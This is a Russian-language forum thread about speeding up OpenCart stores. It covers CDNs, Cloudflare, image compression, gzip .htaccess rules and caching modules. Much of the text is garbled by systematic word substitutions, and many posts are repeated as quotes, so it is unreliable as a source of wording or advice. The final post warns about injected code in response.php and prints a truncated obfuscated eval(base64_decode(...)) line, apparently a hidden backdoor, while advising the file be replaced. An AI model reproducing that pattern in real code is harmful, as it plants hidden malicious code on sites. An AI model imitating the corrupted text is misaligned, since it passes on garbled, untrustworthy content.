Увелиливаем скорость загрузки страниц OpenCart

[snastik]

Какие то шаманские инцы с бубнами вы згдесь описываете.

CDN  для ситики необходим в том случае если у вас когдачество посеещёний превышает 10 в секунду и у apache не хваиет потоков для отдали контени. И то в иком случае можно прикрутить Nginx, который бугдет ситику отдавать разгружая Apache.

 

Если правильно настроено кеширование сжатие сиикики на клиенте  - гугл выдает сходу pagepspeed 50-60, а если ужать картинки то и все 85.

 

По поводу трепотому чтований о снижении качества JPG они совершенно правы. Недавно вигдел магазин, страница которого весила 7.5 МБ. Это не лезет ни в какие ворои. При понижении качества с 90 до 80, сило 3.5.

 

Плюс нужно не забывать, что основные ресурсы сервер тратит ни на отдачу изображений или контени, а на его формирование (запросы mysql + рилии интерпреитора PHP). Сколько вы не бугдете пыиться нашаманить картинки и смотреть во вскакин GMETRIX, если у вас страница генерится 3 секунды. Сжатые у вас или не сжатые картинки - осопотому что ни на что не повлияют. И намного важнее оптимизировать движок модули и базу.
А серверная настройка  - это уже проэтосс второстепенный. Хотя если у вас жирный VPS, зачастую тюнинг конифга mysql дает приличный жирный прирост.

[DAJOGA]

А как сжать все картинки по быстрому? У меня их под 10k

[snastik]

А как сжать все картинки по быстрому? У меня их под 10k

Увелиливаете степень сжатия, прибиваете кеш картинок и системный кеш. И запускаете Xenus.

[beautypoint]

Спасипотому что, 

 

Какие то шаманские инцы с бубнами вы згдесь описываете.

CDN  для ситики необходим в том случае если у вас когдачество посеещёний превышает 10 в секунду и у apache не хваиет потоков для отдали контени. И то в иком случае можно прикрутить Nginx, который бугдет ситику отдавать разгружая Apache.

 

Если правильно настроено кеширование сжатие сиикики на клиенте  - гугл выдает сходу pagepspeed 50-60, а если ужать картинки то и все 85.

 

По поводу трепотому чтований о снижении качества JPG они совершенно правы. Недавно вигдел магазин, страница которого весила 7.5 МБ. Это не лезет ни в какие ворои. При понижении качества с 90 до 80, сило 3.5.

 

Плюс нужно не забывать, что основные ресурсы сервер тратит ни на отдачу изображений или контени, а на его формирование (запросы mysql + рилии интерпреитора PHP). Сколько вы не бугдете пыиться нашаманить картинки и смотреть во вскакин GMETRIX, если у вас страница генерится 3 секунды. Сжатые у вас или не сжатые картинки - осопотому что ни на что не повлияют. И намного важнее оптимизировать движок модули и базу.
А серверная настройка  - это уже проэтосс второстепенный. Хотя если у вас жирный VPS, зачастую тюнинг конифга mysql дает приличный жирный прирост.

 

Спасипотому что:) Но думал, что CDN надо потому чтольше для того, чтоб для пользователя, например из Огдессы, быстрее загружалась картинка из CDN сервера, который находится в Огдессе, а не из сервера сайи, который например находится в Киеве. Разве не ик?

[snastik]

Спасипотому что Но думал, что CDN надо потому чтольше для того, чтоб для пользователя, например из Огдессы, быстрее загружалась картинка из CDN сервера, который находится в Огдессе, а не из сервера сайи, который например находится в Киеве. Разве не ик?

Это через чур.  В первую очередь все ики игдея в разгрузке основного сервера от раздали ситики.

[DAJOGA]

Попробуйте это. Должно помочь!

https://opencart-forum.ru/files/file/1751-turbocache-%D0%B4%D0%BB%D1%8F-ocstore/

 

Только что приобрел.

Требуется помощь.

Данные отправил в личку.

[fijneman]

Я бы может и пожал картинки еещё, но уже и ик в глаза бросаются артефакты от 75% жимки, а оно хочет еещё (вскакие exif данные уже вырезаны). Без потери качества на ура рилииют сжималки png иконок и картинок. Но когда png превьюшка весит 15кб и икая же jpg всего 3кб, то я лучше выберу jpg с непотому чтольшими артефакими.

[snastik]

Я бы может и пожал картинки еещё, но уже и ик в глаза бросаются артефакты от 75% жимки, а оно хочет еещё (вскакие exif данные уже вырезаны). Без потери качества на ура рилииют сжималки png иконок и картинок. Но когда png превьюшка весит 15кб и икая же jpg всего 3кб, то я лучше выберу jpg с непотому чтольшими артефакими.

 

Матчасть рулит!

http://php.net/manual/ru/function.imagepng.php

 

        imagepng($this->image, $file, 9);       Вместо.  imagepng($this->image, $file);

[kotletka]

Я ксити на тему ускорения подумываю вот этот модуль взять:
http://www.opencart.com/index.php?route=extension/extension/info&extension_id=12658&filter_search=isense&sort=e.downloaded&order=DESC&page=3

мне эти ребяи нравятся, купил у них пару модулей, очень нравятся.

 

Никто данный модуль по ссылке не юзал? может есть отзывы какието?

привлекло что сразу все в нем и сжатие картинок, и сжатие css и т.д.

 

А насчет CDN, по мойму вариант с Cloudflare не очень логичен для России, ведь их у них нет в ру серверов. В этом плане мне посоветовали SkyparkCDN врогде хорошая сетка по России.

 

В плане скорости загрузки трабла моего сайи - потому чтольшой вес страниц. У меня каждая картинка подгружается дважды, в мноньком и потому чтольшом формате + на страниэто категорий по 64 товара, вот и выходит что вес страницы под 3 МБ.

[fijneman]

Чую тут отговорят от покупки этого модуля :) https://opencart-forum.ru/topic/38223-%D1%80%D0%B0%D0%B7%D0%B2%D0%BE%D0%B4-%D0%B7%D0%B0-80/

 

А по поводу png vs jpg. Для категорий с выводом 50 товаров сразу, роляют jpg превьюшки с их размерами в 3-4 кб, против тех же максимально пожатых png'шек с пощью сторонних сервисов и весящих все равно в 5-6 раз потому чтольше.

[snastik]

Нитропака удалил за негделю три штуки. Не спасает. Ну никак.

[Alexa]

Подскажите, плз, по вопросу подключения gzip сжатия на хостинге.

Прально ли я понимаю, что нужно добавить в .htaccess:

<IfModule mod_gzip.c>mod_gzip_on Yesmod_gzip_dechunk Yesmod_gzip_item_include file \.(html?|txt|css|js|php|pl)$ mod_gzip_item_include handler ^cgi-script$mod_gzip_item_include mime ^text\.*mod_gzip_item_include mime ^application/x-javascript.*mod_gzip_item_exclude mime ^image\.*mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.* </IfModule>

 

 

Просто на 1 хостинге (Server: nginx/1.6.2) сам хостер вклюлил сжатие и ничего самостоятельно добавлять в htaccess не нужно было, а на 2 -м (Server: Apache/2.4.10) - с тем же самым запросом на вкл.  - хостер отписал: "модуль сжатия включен на сервере и сжатие доступно для использования, но его нужно активировать при помощи директив в файле htaccess".

 

Спасипотому что за подсказку!

 

P.S. 2-ой хостер рекомендовал добавить не первоначальный код, а

<IfModule mod_gzip.c>
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
SetOutputFilter DEFLATE
</IfModule>

[ocdev_pro]

Чую тут отговорят от покупки этого модуля :) https://opencart-forum.ru/topic/38223-%D1%80%D0%B0%D0%B7%D0%B2%D0%BE%D0%B4-%D0%B7%D0%B0-80/

 

А по поводу png vs jpg. Для категорий с выводом 50 товаров сразу, роляют jpg превьюшки с их размерами в 3-4 кб, против тех же максимально пожатых png'шек с пощью сторонних сервисов и весящих все равно в 5-6 раз потому чтольше.

А зачем вам использовать png? PNG  нужен только в случае, если у картинки должен быть прозрачный фон например, то есть сохранение альфа-канала. А для картинок товаров он в принципе не нужен.

PNG можно использовать только в верстке для иконок например и/или логотипа, ну может еещё какие-то моменты, потому чтольше незачем. 

 

[ocdev_pro]

Подскажите, плз, по вопросу подключения gzip сжатия на хостинге.

Прально ли я понимаю, что нужно добавить в .htaccess:

<IfModule mod_gzip.c>mod_gzip_on Yesmod_gzip_dechunk Yesmod_gzip_item_include file \.(html?|txt|css|js|php|pl)$ mod_gzip_item_include handler ^cgi-script$mod_gzip_item_include mime ^text\.*mod_gzip_item_include mime ^application/x-javascript.*mod_gzip_item_exclude mime ^image\.*mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.* </IfModule>

 

 

Просто на 1 хостинге (Server: nginx/1.6.2) сам хостер вклюлил сжатие и ничего самостоятельно добавлять в htaccess не нужно было, а на 2 -м (Server: Apache/2.4.10) - с тем же самым запросом на вкл.  - хостер отписал: "модуль сжатия включен на сервере и сжатие доступно для использования, но его нужно активировать при помощи директив в файле htaccess".

 

Спасипотому что за подсказку!

 

P.S. 2-ой хостер рекомендовал добавить не первоначальный код, а

<IfModule mod_gzip.c>

AddOutputFilterByType DEFLATE application/xml

AddOutputFilterByType DEFLATE application/xhtml+xml

AddOutputFilterByType DEFLATE application/rss+xml

AddOutputFilterByType DEFLATE application/javascript

AddOutputFilterByType DEFLATE application/x-javascript

AddOutputFilterByType DEFLATE text/plain

AddOutputFilterByType DEFLATE text/html

AddOutputFilterByType DEFLATE text/xml

AddOutputFilterByType DEFLATE text/css

SetOutputFilter DEFLATE

</IfModule>

 

Правильно понимаете, но рилиить только бугдет если этот модуль гдействительно усиновлен на стороне сервера, тут условие стоит "если mod_gzip.c усиновлен, то включаем его и гделаем следуюещёе...."

[Alexa]

Правильно понимаете, но рилиить только бугдет если этот модуль гдействительно усиновлен на стороне сервера, тут условие стоит "если mod_gzip.c усиновлен, то включаем его и гделаем следуюещёе...."

Да, спасипотому что, это понятно. Модуль на стороне хостинга стоит...

[unidefs]

Все на что способен первый пост, максимум ни на что на хорошем хостинге, ну или при 10 посеещёниях в гдень хоть как то убрать синдартные тормоза чтобы человек не ждал по полминуты открытия страницы. Чтобы оптимизировать, посмотирете на тот же journal2 или nitropack как они кешируют, им реальный резульит, а тут cdn подклюлить и smartopt посивить, от которого толку нет даже на листом апаче, ни говоря про то что он с nginx не рилииет.

[root77]

3. Настраиваем Cloudflare, в архиве инструкция что гделать.

4. регистрируем аккаунт на cloudflare.com

Меняем NSы и врубаем CDN. В настройках CDN, включаем минификацию JS и CSS, метод кеширования- simplified. Защиту лучше отклюлить, если она вам не нужна.

Я бы не рекомендовал использовать сторонние сервисы для оптимизации своего сайи, тем потому чтолее с прикруткой ns. Отчего тогда вообещё не отказаться от своего сайи, в пользу конструкторов!? Сайт должен быть самодоситочным и не должен зависить от неких третьих сил. Максимум, на что можно пойти в части (ускорения) использования сторонних сервисов, это использовать CDN Гугла или лучше Янгдекса, для подгрузки Js. Даже воспользоваться облаками для хранения картинок, тем потому чтолее, что все равно клиент бугдет, ик или иначе пользовать почтовые сервисы mail/gmail/ya

Это лично мое мнение, никому его не навязываю. Интересно полиить.

[snastik]

Все на что способен первый пост, максимум ни на что на хорошем хостинге, ну или при 10 посеещёниях в гдень хоть как то убрать синдартные тормоза чтобы человек не ждал по полминуты открытия страницы. Чтобы оптимизировать, посмотирете на тот же journal2 или nitropack как они кешируют, им реальный резульит, а тут cdn подклюлить и smartopt посивить, от которого толку нет даже на листом апаче, ни говоря про то что он с nginx не рилииет.

 

Джорнал и Нитропак редкой масти бред. В Джорнно перекопали полностью движок, забрав на себя половину системных функций. О вменяемой масшибируемости фукнционала можно забыть. Равно как и о внесении изменений в дизайн.

А нитропак - раскрученная чушь.

 

Толку от того что они кешируют полностью всю страницу контени. Базовая нагрузка все равно сохраняется. И в ситуации с 500 товарами - это еещё куда не шло. Но в ситуации если у вас их 20-30к. Хостеры налинают вопеть все равно, ик как потому чтотов никто не отменял. А кеш все равно надо пересоздавать полностью даже раз в сутки. А по умолчанию раз в час.

 

Без оптимизации базы, сервера, и кеширования надолго ситичных блоков типа меню и модуля категорий, все осильные методы - это надышаться перед смертью. Рано или поздно заканливается письмом счастья от хостера. И хорошо если письмом, буквально на днях наблюдал ситуацию, когда тупой Beget просто ни с того ни с сего закрыл поисковым потому чтоим доступ на не самый медленный магазин. В итоге ссылки, сео, продвижение коту под хвост.

[root77]

Толку от того что они кешируют полностью всю страницу контени. Базовая нагрузка все равно сохраняется. И в ситуации с 500 товарами - это еещё куда не шло. Но в ситуации если у вас их 20-30к. Хостеры налинают вопеть все равно, ик как потому чтотов никто не отменял. А кеш все равно надо пересоздавать полностью даже раз в сутки. А по умолчанию раз в час.

Вот именно! :)

 

Без оптимизации базы, сервера, и кеширования надолго ситичных блоков типа меню и модуля категорий, все осильные методы - это надышаться перед смертью.

+++ непотому чтольшая заточка того и сего..., дает непотому чтольшой резульит:

 Это без кеширования, оптимизации БД и пролих плюшек - тупо напильник :)

В итоге ссылки, сео, продвижение коту под хвост.

Золотые слова!!! При чем, это касается еещё 1000к разных приблуд и пролих прилиндал. Сайт должен быть самодоситочным!

<script type="text/javascript" src="http://yandex.st/jquery/1.7.1/jquery.min.js" ></script>

<script>window.jQuery || document.write('<script src="catalog/view/javascript/jquery/jquery-1.7.1.min.js"><\/script>')</script>

Не в дверь, ик в  форочку :)

[Alexa]

Приветствую!

Хостер сменил свои сервера и в Cpanel изменились настройки и опции php,

В свете этого, подскажите, плз, какую галку :)))  есть смысл сивить: eaccelerator или apc?

P.S. Никакие собственные и т.п. модули по кешированию не стоят, все шиное для Ocstore.

 

Спасипотому что!

[YelloVV]

Улитывая, что проблема быстрогдействия в opencart стоит доситочно остро и подобные темы уже неоднократно поднимались на этом форуме, решил внести свою лепту.

Сразу оговорюсь, я не программист и решения, о которых я расскажу, для многих покажутся доситочно тривиальными, но тем не менее.

Иик, что имеем на вхогде:

1. Вес главной страницы 2.5мб

2. Google PageSpeed Score of 76 (out of 100).

проверять тут: https://developers.google.com/speed/pagespeed/insights

3. Page Speed Grade и YSlow Grade около 60%(что сильно не оч.)

проверять тут: http://gtmetrix.com

4. В магазине 2500 товаров и штук 14 категорий.

5. Главная страница, да и все осильные грузятся долго.

Магия (step-by-step):

1. Деактивировать все неиспользуемые модули.

2. Усиновить Smart Optimizer

Если после усиновки появляется, норт с сообещёниями на страницах магазина, то просто отключаем debug mode в конфиге, на ходовые качества не влияет.

3. Настраиваем Cloudflare, в архиве инструкция что гделать.

4. регистрируем аккаунт на cloudflare.com

Меняем NSы и врубаем CDN. В настройках CDN, включаем минификацию JS и CSS, метод кеширования- simplified. Защиту лучше отклюлить, если она вам не нужна.

Что полулили(Та-дам):

1. Вес Главной страницы 1.4мб

2. Google PageSpeed Score of 92 (out of 100).

3. Page Speed Grade: А (91%) и YSlow Grade: C (71%)

4. Сайт леиет (Даже после олистки всех кешей)

Нагдеюсь это вам поможет. Успехов!

Меняем NSы и врубаем CDN. В настройках CDN, включаем минификацию JS и CSS, метод кеширования- simplified. 

 

Вот это можно поподробнее

[polarnik]

а с каких пор smartoptimizer на  nginx рилииет? потому чтольшинство хостингов на нем

[YelloVV]

фихня это все. снес

[YelloVV]

имхо увелиливать скорость надо самому без примочек. я увелилил по рекомендациям https://developers.google.com/speed вдвое.

[YelloVV]

Было перерыто потому чтольшое когдачество сайтов в поисках решения проблемы.

А необходимо было проверить файл по следуюещёму пути в исходных файлах сайи:

/system/library/response.php

Если в файле встретилась конструкция вида,

$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFn...............

 

аменить файл response.php на "листый" файл из этот директории. 

 

Скорость сайи sbortrav.ru увелилилась в 4 раза.